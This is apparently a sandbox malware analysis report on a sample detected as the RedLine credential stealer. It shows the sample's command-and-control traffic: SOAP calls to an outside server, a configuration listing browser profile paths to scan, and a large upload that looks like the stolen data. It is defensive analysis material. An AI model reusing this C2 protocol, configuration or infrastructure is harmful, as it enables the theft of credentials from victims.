Mar 13, 2025 12:02:37.165772915 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.165782928 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.165791988 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.165807962 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.165910959 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.165991068 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.166045904 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.166104078 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.166210890 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.166306019 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.166344881 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.166449070 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.166517973 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.167366982 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.232036114 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.286603928 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.354336977 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:37.395984888 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:37.435980082 CET	49685	16383	192.168.2.9	159.89.179.83

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 13, 2025 12:02:31.338320017 CET	53311	53	192.168.2.9	1.1.1.1
Mar 13, 2025 12:02:31.345772028 CET	53	53311	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 13, 2025 12:02:31.338320017 CET	192.168.2.9	1.1.1.1	0x6b20	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 13, 2025 12:02:31.345772028 CET	1.1.1.1	192.168.2.9	0x6b20	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 12:02:31.345772028 CET	1.1.1.1	192.168.2.9	0x6b20	No error (0)	api.ip.sb.cdn.cloudflare.net		104.26.13.31	A (IP address)	IN (0x0001)	false
Mar 13, 2025 12:02:31.345772028 CET	1.1.1.1	192.168.2.9	0x6b20	No error (0)	api.ip.sb.cdn.cloudflare.net		172.67.75.172	A (IP address)	IN (0x0001)	false
Mar 13, 2025 12:02:31.345772028 CET	1.1.1.1	192.168.2.9	0x6b20	No error (0)	api.ip.sb.cdn.cloudflare.net		104.26.12.31	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ip.sb

159.89.179.83:16383

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49683	159.89.179.83	16383	6408	C:\Users\user\Desktop\Order 20201103.exe

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2025 12:02:25.329751015 CET	240	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 159.89.179.83:16383 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Mar 13, 2025 12:02:25.767354012 CET	25	IN	HTTP/1.1 100 Continue
Mar 13, 2025 12:02:25.900846004 CET	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Thu, 13 Mar 2025 11:02:24 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Mar 13, 2025 12:02:30.980699062 CET	223	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 159.89.179.83:16383 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Mar 13, 2025 12:02:31.079495907 CET	25	IN	HTTP/1.1 100 Continue
Mar 13, 2025 12:02:31.195697069 CET	1236	IN	HTTP/1.1 200 OK Content-Length: 4966 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Thu, 13 Mar 2025 11:02:30 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>197.210.84.74</b:string><b:string>52.178.200.111</b:string><b:string>52.178.200.111</b:string><b:string>185.220.101.51</b:string><b:string>52.178.200.111</b:string><b:string>52.178.200.111</b:string></a:BlockedIP><a:Object4>true</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string>< [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49685	159.89.179.83	16383	6408	C:\Users\user\Desktop\Order 20201103.exe

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2025 12:02:35.996927023 CET	221	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 159.89.179.83:16383 Content-Length: 954091 Expect: 100-continue Accept-Encoding: gzip, deflate
Mar 13, 2025 12:02:37.130647898 CET	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Thu, 13 Mar 2025 11:02:36 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>
Mar 13, 2025 12:02:37.133332968 CET	217	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 159.89.179.83:16383 Content-Length: 954083 Expect: 100-continue Accept-Encoding: gzip, deflate
Mar 13, 2025 12:02:37.232036114 CET	25	IN	HTTP/1.1 100 Continue
Mar 13, 2025 12:02:37.354336977 CET	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Thu, 13 Mar 2025 11:02:36 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49684	104.26.13.31	443	6408	C:\Users\user\Desktop\Order 20201103.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 11:02:33 UTC	64	OUT	GET /geoip HTTP/1.1 Host: api.ip.sb Connection: Keep-Alive
2025-03-13 11:02:34 UTC	942	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 11:02:34 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding Cache-Control: no-cache access-control-allow-origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ErP6RvtPEvA5qjpRapQRkQZvvqrOZb9gMoNB9lDCPz1A7uCiYeTKtUUWkm9qefsJhwoPRCzso%2FS8nwIsTX8d5uSjVJFlX8WOUwCuigZRL8vtUG%2F8GVJb4TItZw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 91fb0a2d98ecd6d4-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13465&min_rtt=12525&rtt_var=4365&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2803&recv_bytes=678&delivery_rate=231125&cwnd=248&unsent_bytes=0&cid=f932bf98600ddbc2&ts=1338&x=0"
2025-03-13 11:02:34 UTC	352	IN	Data Raw: 31 35 39 0d 0a 7b 22 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 22 56 65 72 69 7a 6f 6e 20 46 69 6f 73 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 37 37 2e 35 39 30 36 2c 22 63 69 74 79 22 3a 22 52 69 63 68 6d 6f 6e 64 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 5c 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 69 73 70 22 3a 22 56 65 72 69 7a 6f 6e 20 46 69 6f 73 22 2c 22 6f 66 66 73 65 74 22 3a 2d 31 38 30 30 30 2c 22 72 65 67 69 6f 6e 22 3a 22 56 69 72 67 69 6e 69 61 22 2c 22 61 73 6e 22 3a 37 30 31 2c 22 61 73 6e 5f 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 22 55 55 4e 45 54 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 69 70 22 3a 22 37 31 2e 31 31 35 2e 31 38 2e 32 33 35 22 2c 22 6c 61 74 69 74 75 64 Data Ascii: 159{"organization":"Verizon Fios","longitude":-77.5906,"city":"Richmond","timezone":"America\/New_York","isp":"Verizon Fios","offset":-18000,"region":"Virginia","asn":701,"asn_organization":"UUNET","country":"United States","ip":"71.115.18.235","latitud
2025-03-13 11:02:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	07:02:22
Start date:	13/03/2025
Path:	C:\Users\user\Desktop\Order 20201103.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Order 20201103.exe"
Imagebase:	0x480000
File size:	97'792 bytes
MD5 hash:	5BB99AC790AEEEA6267BB29FB67FF860
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:02:22
Start date:	13/03/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff74be10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Order 20201103.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Order 20201103.exe.log

C:\Users\user\AppData\Local\Temp\tmp2C02.tmp

C:\Users\user\AppData\Local\Temp\tmp2C03.tmp

C:\Users\user\AppData\Local\Temp\tmp2C23.tmp

C:\Users\user\AppData\Local\Temp\tmp2C34.tmp

C:\Users\user\AppData\Local\Temp\tmp2C54.tmp

C:\Users\user\AppData\Local\Temp\tmp2C55.tmp

C:\Users\user\AppData\Local\Temp\tmp2C76.tmp

C:\Users\user\AppData\Local\Temp\tmp2C77.tmp

C:\Users\user\AppData\Local\Temp\tmp6460.tmp

C:\Users\user\AppData\Local\Temp\tmp6471.tmp

C:\Users\user\AppData\Local\Temp\tmp6491.tmp

C:\Users\user\AppData\Local\Temp\tmp64A2.tmp

C:\Users\user\AppData\Local\Temp\tmp64C2.tmp

C:\Users\user\AppData\Local\Temp\tmp9C1F.tmp

C:\Users\user\AppData\Local\Temp\tmp9C3F.tmp

Windows Analysis Report
Order 20201103.exe